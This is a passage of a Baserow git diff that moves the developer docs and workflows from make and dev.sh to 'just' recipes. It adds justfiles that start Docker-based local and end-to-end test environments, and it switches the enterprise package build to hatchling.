that way! The code is also tested in the [continuous integration pipeline](./code-quality.md). It can also be tested -manually in the development environment. Make sure that you are in the `backend` -container and execute the following command. +manually in the development environment: -``` -$ make test +```bash +just b test # Run all tests +just b test -n=auto # Run tests in parallel +just b test tests/path/ # Run specific tests ``` https://docs.pytest.org/en/latest/contents.html @@ -41,13 +42,13 @@ https://docs.pytest.org/en/latest/contents.html ### Flake8 Flake8 makes it easy to enforce our python code style. The code is checked in the -continuous integration pipeline. It can also be checked manually in the development -environment. Make sure that you are in the `backend` container and execute the -following command. If all the code meets the standards you should not see any output. +continuous integration pipeline. It can also be checked manually: +```bash +just b lint ``` -$ make lint -``` + +If all the code meets the standards you should not see any output. https://flake8.pycqa.org/en/latest/ @@ -59,8 +60,8 @@ writing and reviewing code. https://black.readthedocs.io/en/stable/index.html -``` -make format +```bash +just b format ``` ### Internationalization @@ -69,13 +70,14 @@ For internationalization (i18n), we leverage Django's built-in support. Django's To use Django's internationalization features, we wrap our text with a special function called `gettext` or `gettext_lazy`. For more information, refer to the [Django Internationalization and Localization documentation](https://docs.djangoproject.com/en/3.2/topics/i18n/). -Then, we created a Makefile command to collect or update all these strings into a message file. -``` -make translations +To collect or update all translation strings into a message file: + +```bash +just b make-translations ``` -This will call the Django's `makemessages` command for the English language of all the installed applications. The creation of the messages for the other languages and the step to compile all these messages, will be automatically handled by `Weblate` before each release. +This will call Django's `makemessages` command for the English language of all the installed applications. The creation of the messages for the other languages and the step to compile all these messages, will be automatically handled by `Weblate` before each release. ### ItsDangerous @@ -120,17 +122,21 @@ https://nuxtjs.org/ ### Stylelint -The tool Stylelint is used to make sure all the SCSS code is in the correct format. It -is used when the `make stylelint` is called and live in the development environment via -prettier. +The tool Stylelint is used to make sure all the SCSS code is in the correct format: + +```bash +just f lint +``` https://stylelint.io/ ### ESLint -ESLint is used to make sure all the JavaScript code is in the correct format. It is -used when the `make eslint` is called and it runs live in the development environment -via prettier. +ESLint is used to make sure all the JavaScript code is in the correct format: + +```bash +just f lint +``` https://eslint.org/ @@ -153,11 +159,10 @@ https://sass-lang.com/ Because of its simplicity and compatibility with Vue and Nuxt we have chosen to include JEST as the framework for the web frontend tests. Almost no code is covered yet so we can definitely improve on that. The code is also tested in the continuous integration -pipeline. It can also be tested manually in the development environment. Make sure -that you are in the `web-frontend` container and execute the following command. +pipeline. It can also be tested manually: -``` -$ make jest +```bash +just f test ``` https://jestjs.io/ diff --git a/docs/development/vscode-setup.md b/docs/development/vscode-setup.md index 20567288c1..61afa08a33 100644 --- a/docs/development/vscode-setup.md +++ b/docs/development/vscode-setup.md @@ -7,6 +7,14 @@ automatic style fixers to make your life as easy as possible. > This guide assumes you have a basic understanding of git, python, virtualenvs, > postgres and command line tools. +## Prerequisites + +Install the following tools: +- [just](https://github.com/casey/just) - command runner +- [uv](https://github.com/astral-sh/uv) - Python package manager + +## Setup Steps + 1. First checkout a fresh copy of Baserow: `git clone git@github.com:baserow/baserow.git` (or your personal fork of the project) 1. `cd baserow` @@ -15,53 +23,43 @@ automatic style fixers to make your life as easy as possible. 1. Open VSCode and on the "Welcome to VSCode" screen click the "Open" button and open the baserow folder you cloned above. 1. Make sure you have installed / enabled the Python VSCode plugin. -1. Now we will create python virtualenv and configure VSCode to use it to run tests +1. Now we will create a Python virtual environment and configure VSCode to use it to run tests and linters: - 1. Choose a location for your virtualenv, it is recommended to store it separately - from the baserow source-code folder so VSCode does not search nor index it. - 2. Create the virtualenv: `mkdir $HOME/.virtualenvs; python3 -m venv $HOME/.virtualenvs/baserow` or - `$HOME/.virtualenvs; virtualenv -p python $HOME/.virtualenvs/baserow` - 3. Activate the virtualenv: `source $HOME/.virtualenvs/baserow/bin/activate` - (could differ depending on your shell) - 4. Run `which pip` and ensure the output of this command is now pointing into the - bin in your new virtualenv - 5. Change to the Baserow source directory: `cd path/to/your/baserow` - 6. Install all the Baserow python requirements into your virtualenv: - `pip install -r backend/requirements/dev.txt -r backend/requirements/base.txt` - 7. Then you will most likely need to select it as default interpreter for the project: + 1. Initialize the backend (creates venv and installs dependencies): + ```bash + just b init + ``` + This creates a virtualenv at `.venv/` in the project root. + 2. Then you will most likely need to select it as default interpreter for the project: 1. Type: Ctrl + Shift + P or open the command palette 1. Type: Python: select interpreter - 1. Find and select your virtualenvs `bin/python` executable - 8. If do not see the python tests in the testing menu: + 1. Find and select your virtualenvs `bin/python` executable (`.venv/bin/python`) + 3. If do not see the python tests in the testing menu: 1. Type: Ctrl + Shift + P or open the command palette 1. Type: Python: Configure Tests 1. Install and get a postgresql database running locally: - 1. [https://www.postgresql.org/docs/11/tutorial-install.html](https://www.postgresql.org/docs/11/tutorial-install.html) - 2. Change the default postgres port otherwise it will clash when running with - Baserow (the default VSCode config in the repo assumes your testing db is - running on 5430) - 1. [https://stackoverflow.com/questions/187438/change-pgsql-port](https://stackoverflow.com/questions/187438/change-pgsql-port) - 3. Create a baserow user called `baserow` with the password `baserow` and give them - permission to create databases - 1. [https://medium.com/coding-blocks/creating-user-database-and-adding-access-on-postgresql-8bfcd2f4a91e](https://medium.com/coding-blocks/creating-user-database-and-adding-access-on-postgresql-8bfcd2f4a91e) - - ```sql - CREATE USER baserow WITH ENCRYPTED PASSWORD 'baserow'; - ALTER USER baserow CREATEDB; - ``` - 4. You might also have to `pip install psycopg2-binary` or - `sudo apt install libpq-dev` + 1. The easiest way is to use Docker: + ```bash + just dc-dev up -d db redis + ``` + 2. Or install PostgreSQL locally: + [https://www.postgresql.org/docs/11/tutorial-install.html](https://www.postgresql.org/docs/11/tutorial-install.html) + 3. If running PostgreSQL locally, create a baserow user: + ```sql + CREATE USER baserow WITH ENCRYPTED PASSWORD 'baserow'; + ALTER USER baserow CREATEDB; + ``` 1. Now you should be able to run the backend python tests from the testing menu, try run `backend/tests/baserow/core/test_core_models.py` for instance. 1. Now lets set up your frontend dev by changing directory to `baserow/web-frontend` -1. Use [nvm](https://github.com/nvm-sh/nvm) to install the correct version of `node`. +1. Use [nvm](https://github.com/nvm-sh/nvm) or [fnm](https://github.com/Schniz/fnm) to install the correct version of `node`. To determine the version of Node.js to use, see the `runtimeVersion` inside the `launch.json` file. E.g. if the version is `v16.15.0`, you can install it with: `nvm install v16.15.0` and then enable it with `nvm use v16.15.0`. Alternatively, see `baserow/docs/installation/supported.md` to determine the supported version of Node.js to use. 1. Install `yarn` globally: `npm install -g yarn` -1. Now run `yarn install` to install dependencies. +1. Now run `just f install` to install dependencies (or `yarn install` directly). 1. Select "Trust Project" if you see an VSCode popup after running yarn install 1. If you do not see Jest tests in the testing menu: 1. Type: Ctrl + Shift + P or open the command palette diff --git a/docs/index.md b/docs/index.md index f89748526b..d2afe69a69 100644 --- a/docs/index.md +++ b/docs/index.md @@ -104,8 +104,10 @@ Everything related to contributing and developing for Baserow. * [Debugging](./development/debugging.md): Debugging tools and how to use them. * [Create a template](./development/create-a-template.md): Create a template that can be previewed and installed by others. -* [dev.sh](./development/dev_sh.md): Further details on how to use Baserow's `./dev.sh` - helper script. +* [Justfile reference](./development/justfile.md): Complete reference for all `just` commands + available for development. +* [dev.sh](./development/dev_sh.md): **(Deprecated)** Legacy `./dev.sh` helper script. + Use `just` commands instead. * [IntelliJ setup](./development/intellij-setup.md): How to configure Intellij to work well with Baserow for development purposes. * [Feature flags](./development/feature-flags.md): How Baserow uses basic feature flags for optionally diff --git a/docs/installation/install-behind-apache.md b/docs/installation/install-behind-apache.md index fc28d01c43..00ecb819de 100644 --- a/docs/installation/install-behind-apache.md +++ b/docs/installation/install-behind-apache.md @@ -34,8 +34,7 @@ Follow this option if you are using: * The all-in-one Baserow image `baserow/baserow:2.0.6` * Any of the example compose files found in the root of our git - repository `docker-compose.yml`/`docker-compose.local-build.yml` - /`docker-compose.all-in-one.yml` + repository `docker-compose.yml`/`docker-compose.all-in-one.yml` ### Prerequisites diff --git a/docs/installation/install-behind-nginx.md b/docs/installation/install-behind-nginx.md index b24c86267b..fba75429c0 100644 --- a/docs/installation/install-behind-nginx.md +++ b/docs/installation/install-behind-nginx.md @@ -34,8 +34,7 @@ Follow this option if you are using: * The all-in-one Baserow image `baserow/baserow:2.0.6` * Any of the example compose files found in the root of our git - repository `docker-compose.yml`/`docker-compose.local-build.yml` - /`docker-compose.all-in-one.yml` + repository `docker-compose.yml`/`docker-compose.all-in-one.yml` ### Prerequisites diff --git a/docs/installation/install-with-docker-compose.md b/docs/installation/install-with-docker-compose.md index 2c364d222c..e7467191ee 100644 --- a/docs/installation/install-with-docker-compose.md +++ b/docs/installation/install-with-docker-compose.md @@ -270,8 +270,8 @@ BASEROW_TRIGGER_SYNC_TEMPLATES_AFTER_MIGRATION=false docker-compose up -d ```bash mkdir ~/baserow_backups # The folder must be the same UID:GID as the user running inside the container, which -# for the local env is 9999:9999, for the dev env it is 1000:1000 or your own UID:GID -# when using ./dev.sh +# for the local env is 9999:9999, for the dev env it is your own UID:GID +# when using `just dc-dev` sudo chown 9999:9999 ~/baserow_backups/ docker-compose run -v ~/baserow_backups:/baserow/backups backend backup -f /baserow/backups/baserow_backup.tar.gz # backups/ now contains your Baserow backup. diff --git a/docs/patterns/emails.md b/docs/patterns/emails.md index ae094da730..6b3797bfa8 100644 --- a/docs/patterns/emails.md +++ b/docs/patterns/emails.md @@ -28,7 +28,7 @@ The template will look something like this: ``` -If you are using the Baserow docker compose development environment started by `./dev.sh` script, the new template should be automatically compiled into its HTML version, resulting in a new file. If that's not the case, follow the instructions in `backend/email_compiler` to compile the template manually. +If you are using the Baserow Docker Compose development environment (`just dc-dev up -d`), the new template should be automatically compiled into its HTML version, resulting in a new file. If that's not the case, follow the instructions in `backend/email_compiler` to compile the template manually. ### Do @@ -51,4 +51,14 @@ Subclass `BaseEmailMessage` to define an email message with the correct template ## Testing -The Baserow dev environment (using the `./dev.sh` script) automatically starts an instance of [MailHog](https://github.com/mailhog/MailHog) at [http://localhost:8025/](http://localhost:8025/). You can verify that the emails are formatted and sent correctly there. +The Baserow dev environment automatically starts an instance of [MailHog](https://github.com/mailhog/MailHog) at [http://localhost:8025/](http://localhost:8025/). You can verify that the emails are formatted and sent correctly there. + +**Docker development:** +```bash +just dc-dev up -d # MailHog is included +``` + +**Local development:** +```bash +just dev up # MailHog runs via Docker +``` diff --git a/docs/plugins/creation.md b/docs/plugins/creation.md index 262e33dc11..f0b8905453 100644 --- a/docs/plugins/creation.md +++ b/docs/plugins/creation.md @@ -1,4 +1,4 @@ -# Creating A Plugin +# Creating A Plugin [Outdated] > Check out our [Plugin community sub-forum](https://community.baserow.io/c/plugins/17) > for community made plugins and further discussion. diff --git a/e2e-tests/fixtures/.gitkeep b/e2e-tests/fixtures/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 diff --git a/e2e-tests/fixtures/e2e-db.dump b/e2e-tests/fixtures/e2e-db.dump new file mode 100644 index 0000000000..1af0563b1a Binary files /dev/null and b/e2e-tests/fixtures/e2e-db.dump differ diff --git a/e2e-tests/justfile b/e2e-tests/justfile new file mode 100644 index 0000000000..df3ca90890 --- /dev/null +++ b/e2e-tests/justfile @@ -0,0 +1,386 @@ +# E2E Tests Justfile +# All E2E testing utilities: build, run, test, database dump/restore + +# ============================================================================= +# Configuration +# ============================================================================= + +# Docker settings +network := "baserow-e2e" +# Use same image names as `just build backend ci` and `just build web-frontend ci` +backend_image := "baserow/backend:ci" +frontend_image := "baserow/web-frontend:ci" +db_image := "pgvector/pgvector:pg${POSTGRES_IMAGE_VERSION:-13}" +redis_image := "redis:6" + +# Database dump settings +dump_file := "fixtures/e2e-db.dump" +dump_network := "e2e-dump-net" +dump_db := "e2e-dump-db" + +# Default: show help +default: + @just --list + +# ============================================================================= +# Build +# ============================================================================= + +# Build CI images for E2E testing (delegates to root justfile) +[doc("Build backend and frontend CI images for E2E tests")] +build *ARGS: + #!/usr/bin/env bash + set -euo pipefail + cd "$(git rev-parse --show-toplevel)" + + echo "Building backend and frontend CI images..." + echo "" + + # Use root justfile build commands + just build backend ci {{ ARGS }} & + BACKEND_PID=$! + + just build web-frontend ci {{ ARGS }} & + FRONTEND_PID=$! + + # Wait for both to complete + BACKEND_EXIT=0 + FRONTEND_EXIT=0 + wait $BACKEND_PID || BACKEND_EXIT=$? + wait $FRONTEND_PID || FRONTEND_EXIT=$? + + echo "" + if [ $BACKEND_EXIT -ne 0 ]; then + echo "ERROR: Backend build failed (exit code: $BACKEND_EXIT)" + fi + if [ $FRONTEND_EXIT -ne 0 ]; then + echo "ERROR: Frontend build failed (exit code: $FRONTEND_EXIT)" + fi + if [ $BACKEND_EXIT -ne 0 ] || [ $FRONTEND_EXIT -ne 0 ]; then + exit 1 + fi + + echo "Images built:" + echo " {{ backend_image }}" + echo " {{ frontend_image }}" + +# Check if CI images exist, build them if not +[private] +_ensure-images: + #!/usr/bin/env bash + set -euo pipefail + + NEED_BUILD=false + + if ! docker image inspect {{ backend_image }} > /dev/null 2>&1; then + echo "Backend CI image not found: {{ backend_image }}" + NEED_BUILD=true + fi + + if ! docker image inspect {{ frontend_image }} > /dev/null 2>&1; then + echo "Frontend CI image not found: {{ frontend_image }}" + NEED_BUILD=true + fi + + if [ "$NEED_BUILD" = true ]; then + echo "" + echo "Building missing CI images..." + just build + fi + +# ============================================================================= +# Run Environment +# ============================================================================= + +# Start E2E environment (DB, Redis, backend, frontend) +# Uses pre-generated database dump for fast startup +[doc("Start E2E environment containers")] +up: _ensure-images + #!/usr/bin/env bash + set -euo pipefail + cd "$(git rev-parse --show-toplevel)" + + DUMP_FILE="e2e-tests/{{ dump_file }}" + + # Check if dump file exists + if [ ! -f "$DUMP_FILE" ]; then + echo "Error: Database dump not found at $DUMP_FILE" + echo "Run 'just e2e db-dump' to generate it first." + exit 1 + fi + + # Clean up any stopped containers from previous runs + docker rm -f e2e-frontend e2e-backend e2e-celery e2e-redis e2e-db 2>/dev/null || true + docker volume rm e2e-media 2>/dev/null || true + + # Create network if it doesn't exist + docker network create {{ network }} 2>/dev/null || true + + # Start PostgreSQL + if ! docker ps --format '{{ '{{.Names}}' }}' | grep -q "^e2e-db$"; then + echo "Starting PostgreSQL..." + docker run -d --network={{ network }} --name e2e-db \ + -e POSTGRES_USER=baserow \ + -e POSTGRES_PASSWORD=baserow \ + -e POSTGRES_DB=baserow \ + --tmpfs /var/lib/postgresql/data:size=2G \ + {{ db_image }} + fi + + # Start Redis + if ! docker ps --format '{{ '{{.Names}}' }}' | grep -q "^e2e-redis$"; then + echo "Starting Redis..." + docker run -d --network={{ network }} --name e2e-redis \ + --tmpfs /data:size=256m \ + {{ redis_image }} + fi + + # Create shared tmpfs volume for user files (backend + celery) + # Use a named volume with tmpfs driver for speed and proper permissions + docker volume rm e2e-media 2>/dev/null || true + docker volume create --driver local --opt type=tmpfs --opt device=tmpfs --opt o=size=512m,uid=9999,gid=9999 e2e-media + + # Wait for PostgreSQL to be ready + echo "Waiting for PostgreSQL..." + for i in {1..30}; do + if docker exec e2e-db pg_isready -U baserow > /dev/null 2>&1; then + break + fi + sleep 1 + done + + # Restore database from dump (fast - migrations pre-applied) + echo "Restoring database from dump..." + docker exec e2e-db psql -U baserow -d postgres -c "DROP DATABASE IF EXISTS baserow;" > /dev/null + docker exec e2e-db psql -U baserow -d postgres -c "CREATE DATABASE baserow;" > /dev/null + docker exec -i e2e-db pg_restore -U baserow -d baserow --no-owner --no-acl < "$DUMP_FILE" 2>/dev/null || true + echo "Database restored." + + # Start backend (migrations run on startup to apply any new ones + sync templates) + if ! docker ps --format '{{ '{{.Names}}' }}' | grep -q "^e2e-backend$"; then + echo "Starting backend..." + docker run -d --network={{ network }} --name e2e-backend \ + -v e2e-media:/baserow/media \ + -e DATABASE_HOST=e2e-db \ + -e DATABASE_NAME=baserow \ + -e DATABASE_USER=baserow \ + -e DATABASE_PASSWORD=baserow \ + -e REDIS_URL=redis://e2e-redis:6379 \ + -e SECRET_KEY=test \ + -e DJANGO_SETTINGS_MODULE=baserow.config.settings.e2e \ + -e MIGRATE_ON_STARTUP=true \ + -e FEATURE_FLAGS="*" \ + -e PRIVATE_BACKEND_URL=http://e2e-backend:8000 \ + -p 8000:8000 \ + {{ backend_image }} gunicorn + fi + + # Start celery worker (shares media volume with backend) + if ! docker ps --format '{{ '{{.Names}}' }}' | grep -q "^e2e-celery$"; then + echo "Starting celery worker..." + docker run -d --network={{ network }} --name e2e-celery \ + -v e2e-media:/baserow/media \ + -e DATABASE_HOST=e2e-db \ + -e DATABASE_NAME=baserow \ + -e DATABASE_USER=baserow \ + -e DATABASE_PASSWORD=baserow \ + -e REDIS_URL=redis://e2e-redis:6379 \ + -e SECRET_KEY=test \ + -e DJANGO_SETTINGS_MODULE=baserow.config.settings.e2e \ + -e FEATURE_FLAGS="*" \ + -e BASEROW_RUN_MINIMAL=yes \ + -e BASEROW_AMOUNT_OF_WORKERS=1 \ + {{ backend_image }} celery-worker + fi + + # Start frontend + if ! docker ps --format '{{ '{{.Names}}' }}' | grep -q "^e2e-frontend$"; then + echo "Starting frontend..." + docker run -d --network={{ network }} --name e2e-frontend \ + -e PUBLIC_BACKEND_URL=http://localhost:8000 \ + -e PUBLIC_WEB_FRONTEND_URL=http://localhost:3000 \ + -e PRIVATE_BACKEND_URL=http://e2e-backend:8000 \ + -e FEATURE_FLAGS="*" \ + -p 3000:3000 \ + {{ frontend_image }} nuxt-local + fi + + echo "" + echo "E2E environment started. Containers:" + docker ps --filter "name=e2e-" --format "table {{ '{{.Names}}\t{{.Status}}\t{{.Ports}}' }}" + echo "" + echo "View logs: just e2e logs" + echo "Run tests: just e2e test" + echo "Stop: just e2e down" + +# Stop and remove E2E containers +[doc("Stop E2E environment")] +down: + #!/usr/bin/env bash + echo "Stopping E2E containers..." + docker rm -f e2e-frontend e2e-backend e2e-celery e2e-redis e2e-db e2e-s3mock 2>/dev/null || true + docker volume rm e2e-media 2>/dev/null || true + docker network rm {{ network }} 2>/dev/null || true + echo "E2E environment stopped." + +# View E2E container logs +[doc("View E2E logs: just e2e logs [backend|frontend|db|redis]")] +logs *SERVICE: + #!/usr/bin/env bash + if [ -z "{{ SERVICE }}" ]; then + # Show all logs interleaved + docker logs e2e-backend 2>&1 | sed 's/^/[backend] /' & + docker logs e2e-frontend 2>&1 | sed 's/^/[frontend] /' & + wait + else + docker logs -f "e2e-{{ SERVICE }}" + fi + +# ============================================================================= +# Test +# ============================================================================= + +# Run E2E tests (tears down containers when done) +[doc("Run E2E tests (tears down containers when done)")] +test *ARGS: + #!/usr/bin/env bash + set -euo pipefail + cd "$(git rev-parse --show-toplevel)/e2e-tests" + + # Check if containers are running + if ! docker ps --format '{{ '{{.Names}}' }}' | grep -q "^e2e-backend$"; then + echo "E2E environment not running. Start with: just e2e up" + exit 1 + fi + + # Ensure cleanup on exit (success or failure) + cleanup() { + echo "" + echo "Tearing down E2E environment..." + just down + } + trap cleanup EXIT + + export PUBLIC_BACKEND_URL=http://localhost:8000 + export PUBLIC_WEB_FRONTEND_URL=http://localhost:3000 + + # Install dependencies if needed + echo "Installing dependencies..." + yarn install + yarn playwright install + + echo "Waiting for services to be ready..." + ./wait-for-services.sh + + echo "Running E2E tests..." + if [ -z "{{ ARGS }}" ]; then + yarn run test + else + yarn playwright test {{ ARGS }} + fi + +# Full E2E cycle: build, start, test, stop +[doc("Full E2E cycle: build, up, test, down")] +run: build up test down + +# ============================================================================= +# Database Dump +# ============================================================================= + +# Generate a fresh database dump with migrations applied (no templates) +# Templates are synced on E2E startup via post_migrate signal +[doc("Generate database dump with migrations only")] +db-dump: + #!/usr/bin/env bash + set -euo pipefail + cd "$(git rev-parse --show-toplevel)" + + echo "=== Creating fresh database dump for E2E tests ===" + + # Cleanup any existing containers + docker rm -f {{ dump_db }} e2e-dump-backend e2e-dump-redis 2>/dev/null || true + docker network rm {{ dump_network }} 2>/dev/null || true + + # Create network + docker network create {{ dump_network }} + + # Start PostgreSQL with pgvector + echo "Starting PostgreSQL..." + docker run -d --network={{ dump_network }} --name {{ dump_db }} \ + -e POSTGRES_USER=baserow \ + -e POSTGRES_PASSWORD=baserow \ + -e POSTGRES_DB=baserow \ + {{ db_image }} + + # Wait for PostgreSQL + echo "Waiting for PostgreSQL to be ready..." + for i in {1..30}; do + if docker exec {{ dump_db }} pg_isready -U baserow > /dev/null 2>&1; then + break + fi + sleep 1 + done + + # Build backend image if needed + if ! docker image inspect {{ backend_image }} > /dev/null 2>&1; then + echo "Building backend CI image..." + just build backend ci + fi + + # Start Redis (needed for Django) + echo "Starting Redis..." + docker run -d --network={{ dump_network }} --name e2e-dump-redis {{ redis_image }} + sleep 2 + + # Run migrations only (use test settings which doesn't sync templates) + echo "Running migrations..." + docker run --rm --network={{ dump_network }} --name e2e-dump-backend \ + -e DATABASE_HOST={{ dump_db }} \ + -e DATABASE_NAME=baserow \ + -e DATABASE_USER=baserow \ + -e DATABASE_PASSWORD=baserow \ + -e REDIS_URL=redis://e2e-dump-redis:6379 \ + -e SECRET_KEY=dump-generation \ + -e DJANGO_SETTINGS_MODULE=baserow.config.settings.test \ + {{ backend_image }} bash -c "python /baserow/backend/src/baserow/manage.py migrate --noinput" + + # Create the dump + echo "Creating database dump..." + mkdir -p e2e-tests/fixtures + docker exec {{ dump_db }} pg_dump -U baserow -Fc baserow > e2e-tests/{{ dump_file }} + + # Show dump info + DUMP_SIZE=$(ls -lh e2e-tests/{{ dump_file }} | awk '{print $5}') + echo "" + echo "=== Database dump created successfully ===" + echo "File: e2e-tests/{{ dump_file }}" + echo "Size: $DUMP_SIZE" + echo "" + + # Cleanup + echo "Cleaning up..." + docker rm -f {{ dump_db }} e2e-dump-redis 2>/dev/null || true + docker network rm {{ dump_network }} 2>/dev/null || true + + echo "Done! Commit the dump file to the repository." + +# Restore database from dump file to a container +[doc("Restore database dump to a PostgreSQL container")] +db-restore container: + #!/usr/bin/env bash + set -euo pipefail + cd "$(git rev-parse --show-toplevel)" + + DUMP_PATH="e2e-tests/{{ dump_file }}" + + if [ ! -f "$DUMP_PATH" ]; then + echo "Error: Dump file not found at $DUMP_PATH" + echo "Run 'just e2e db-dump' to generate it first." + exit 1 + fi + + echo "Restoring database from dump..." + docker exec {{ container }} psql -U baserow -d postgres -c "DROP DATABASE IF EXISTS baserow;" + docker exec {{ container }} psql -U baserow -d postgres -c "CREATE DATABASE baserow;" + docker exec -i {{ container }} pg_restore -U baserow -d baserow --no-owner --no-acl < "$DUMP_PATH" || true + echo "Database restored successfully!" diff --git a/enterprise/backend/pyproject.toml b/enterprise/backend/pyproject.toml index 7cd5088a78..42beb281e6 100644 --- a/enterprise/backend/pyproject.toml +++ b/enterprise/backend/pyproject.toml @@ -1,17 +1,17 @@ [build-system] -requires = ["setuptools>=61.0"] -build-backend = "setuptools.build_meta" +requires = ["hatchling"] +build-backend = "hatchling.build" [project] name = "baserow-enterprise" -authors = [{ name = "Bram Wiepjes (Baserow)", email="bram@baserow.io" }] -description="""Baserow is an open source no-code database tool and Airtable \ +authors = [{ name = "Bram Wiepjes (Baserow)", email = "bram@baserow.io" }] +description = """Baserow is an open source no-code database tool and Airtable \ alternative. Easily create a relational database without any \ technical expertise. Build a table and define custom fields \ like text, number, file and many more.""" # mixed license -license={file="LICENSE"} -requires-python=">=3.11" +license = { file = "../LICENSE" } +requires-python = "==3.11.*" version = "2.0.6" classifiers = [] @@ -22,6 +22,9 @@ Documentation = "https://baserow.io/user-docs" Support = "https://community.baserow.io/" Changelog = "https://github.com/baserow/baserow/blob/develop/changelog.md" +[tool.hatch.build.targets.wheel] +packages = ["src/baserow_enterprise"] + [tool.black] exclude = ''' /( @@ -29,15 +32,3 @@ exclude = ''' | generated )/ ''' - -[tool.setuptools] -include-package-data = true -# https://setuptools.pypa.io/en/latest/userguide/pyproject_config.html -platforms = ["Linux"] - -[tool.setuptools.packages.find] -where = ["src/"] -include = ["baserow_enterprise", "baserow_enterprise.*"] - - - diff --git a/justfile b/justfile new file mode 100644 index 0000000000..ee2c6767e3 --- /dev/null +++ b/justfile @@ -0,0 +1,1386 @@ +# Baserow Project Justfile +# Run `just` to see all available commands organized by category + +set unstable := true + +# Import personal recipes if they exist (not tracked in git) +import? 'local.just' + +# Default recipe - show help with groups +default: + @just --list + +# ============================================================================= +# Help & Documentation +# ============================================================================= + +# Show getting started guide and documentation links +[group('0 - help')] +help: + @echo "Baserow Development - Getting Started" + @echo "======================================" + @echo "" + @echo "Choose your development approach:" + @echo "" + @echo " Option 1: Local processes (faster hot-reload, requires local Python/Node)" + @echo " -------------------------------------------------------------------------" + @echo " just init # First time: install dependencies" + @echo " just dev up # Start all services (Ctrl+C stops everything)" + @echo " just dev up -d # Start in background" + @echo " just dev stop # Stop background services" + @echo "" + @echo " Option 2: Docker containers (easier setup, everything containerized)" + @echo " ---------------------------------------------------------------------" + @echo " just dc-dev build --parallel # First time: build images" + @echo " just dc-dev up -d # Start all containers" + @echo " just dc-dev logs -f # Follow logs" + @echo " just dc-dev down # Stop containers" + @echo "" + @echo "Documentation:" + @echo " docs/development/justfile.md - Just command reference" + @echo " docs/development/running-the-dev-env-locally.md - Local development setup" + @echo " docs/development/running-the-dev-env-with-docker.md - Docker development setup" + @echo " docs/development/running-tests.md - Running tests" + @echo " docs/development/code-quality.md - Linting and formatting" + @echo "" + @echo "Component-specific help:" + @echo " just b help # Backend commands and docs" + @echo " just f help # Frontend commands and docs" + +# ============================================================================= +# Getting Started (run these first!) +# ============================================================================= + +# Initialize the project (install all dependencies) +[group('1 - local-dev')] +[doc("First time setup: install backend + frontend dependencies")] +init: + @just b init + @just f install + +# Local development environment management +[group('1 - local-dev')] +[doc("Local dev: just dev ")] +dev *ARGS: + #!/usr/bin/env bash + set -euo pipefail + + # Parse args from just + ALLARGS=({{ ARGS }}) + CMD="${ALLARGS[0]:-}" + REST=("${ALLARGS[@]:1}") + + case "$CMD" in + wipe) + just _dev-stop 2>/dev/null || true + just dc-dev wipe + if [ ${#REST[@]} -gt 0 ]; then + just dev "${REST[@]}" + fi + ;; + up|start) + # Check for -d flag + DETACHED=false + for arg in "${REST[@]:-}"; do + if [[ "$arg" == "-d" ]]; then + DETACHED=true + fi + done + + just _dev-start + + if [ "$DETACHED" = false ]; then + # Trap Ctrl+C to stop services + trap 'echo ""; echo "Stopping services..."; just _dev-stop; exit 0' INT + echo "" + echo "Following logs (Ctrl+C to stop all services)..." + echo "" + just dev logs -f backend celery frontend + fi + ;; + stop|down) + just _dev-stop + ;; + logs) + BACKEND_LOG="{{ backend_log_file }}" + CELERY_LOG="{{ celery_log_file }}" + FRONTEND_LOG="{{ frontend_log_file }}" + + # Parse args: known service names go to SERVICES, everything else to OPTS + OPTS=() + SERVICES=() + VALID_SERVICES="backend celery frontend" + for arg in ${REST[@]+"${REST[@]}"}; do + if [[ " $VALID_SERVICES " == *" $arg "* ]]; then + SERVICES+=("$arg") + else + OPTS+=("$arg") + fi + done + + # Show all services if none specified + if [ ${#SERVICES[@]} -eq 0 ]; then + SERVICES=(backend frontend celery) + fi + + # Map service names to log files + FILES=() + for svc in "${SERVICES[@]}"; do + case "$svc" in + backend) [ -f "$BACKEND_LOG" ] && FILES+=("$BACKEND_LOG") ;; + celery) [ -f "$CELERY_LOG" ] && FILES+=("$CELERY_LOG") ;; + frontend) [ -f "$FRONTEND_LOG" ] && FILES+=("$FRONTEND_LOG") ;; + esac + done + + if [ ${#FILES[@]} -gt 0 ]; then + RED=$'\033[38;5;196m'; YLW=$'\033[38;5;214m'; GRN=$'\033[38;5;40m'; CYN=$'\033[38;5;51m'; RST=$'\033[0m' + # Check if we're following logs or just viewing + FOLLOWING=false + for opt in "${OPTS[@]:-}"; do + [[ "$opt" == "-f" || "$opt" == "-F" ]] && FOLLOWING=true + done + # If not following and files are empty, show helpful message + if [[ "$FOLLOWING" == "false" ]]; then + TOTAL_SIZE=0 + for f in "${FILES[@]}"; do + SIZE=$(stat -f%z "$f" 2>/dev/null || stat -c%s "$f" 2>/dev/null || echo 0) + TOTAL_SIZE=$((TOTAL_SIZE + SIZE)) + done + if [ "$TOTAL_SIZE" -eq 0 ]; then + echo "Log files exist but are empty - services may still be starting up." + echo "Use 'just dev logs -f' to follow logs as they appear." + exit 0 + fi + fi + tail "${OPTS[@]}" "${FILES[@]}" | sed \ + -e "s/\(ERROR\)/${RED}\1${RST}/g" \ + -e "s/\(WARNING\)/${YLW}\1${RST}/g" \ + -e "s/\(INFO\)/${GRN}\1${RST}/g" \ + -e "s/\(DEBUG\)/${CYN}\1${RST}/g" + else + echo "No logs found." + echo "Start the local dev environment first: just dev up" + fi + ;; + ps) + echo "==> Process Status" + for name in backend celery frontend; do + pid_file="/tmp/baserow-${name}.pid" + if [ -f "$pid_file" ]; then + PID=$(cat "$pid_file") + if kill -0 "$PID" 2>/dev/null; then + echo " $name: running (PID: $PID)" + else + echo " $name: stopped (stale PID file)" + fi + else + echo " $name: not running" + fi + done + echo "" + echo "==> Docker Services" + just dc-dev ps redis db mailhog otel-collector 2>/dev/null || echo " Not running" + ;; + tmux) + just _dev-tmux + ;; + *) + echo "Local development environment" + echo "" + echo "Usage: just dev " + echo "" + echo "Commands:" + echo " up Start and follow logs (Ctrl+C stops everything)" + echo " up -d Start in background (detached)" + echo " stop Stop all services" + echo " logs View logs: just dev logs [-f] [backend|celery|frontend]" + echo " ps Show running services" + echo " wipe Delete database volume (wipe up to restart fresh)" + echo " tmux Start tmux session with all services" + echo "" + echo "Examples:" + echo " just dev up # Start and watch logs (Ctrl+C stops all)" + echo " just dev up -d # Start in background" + echo " just dev logs -f backend # Follow backend logs" + echo " just dev stop # Stop everything" + echo " just dev wipe up # Wipe DB and start fresh" + echo " just dev tmux # Start tmux session" + [[ -n "$CMD" ]] && exit 1 || exit 0 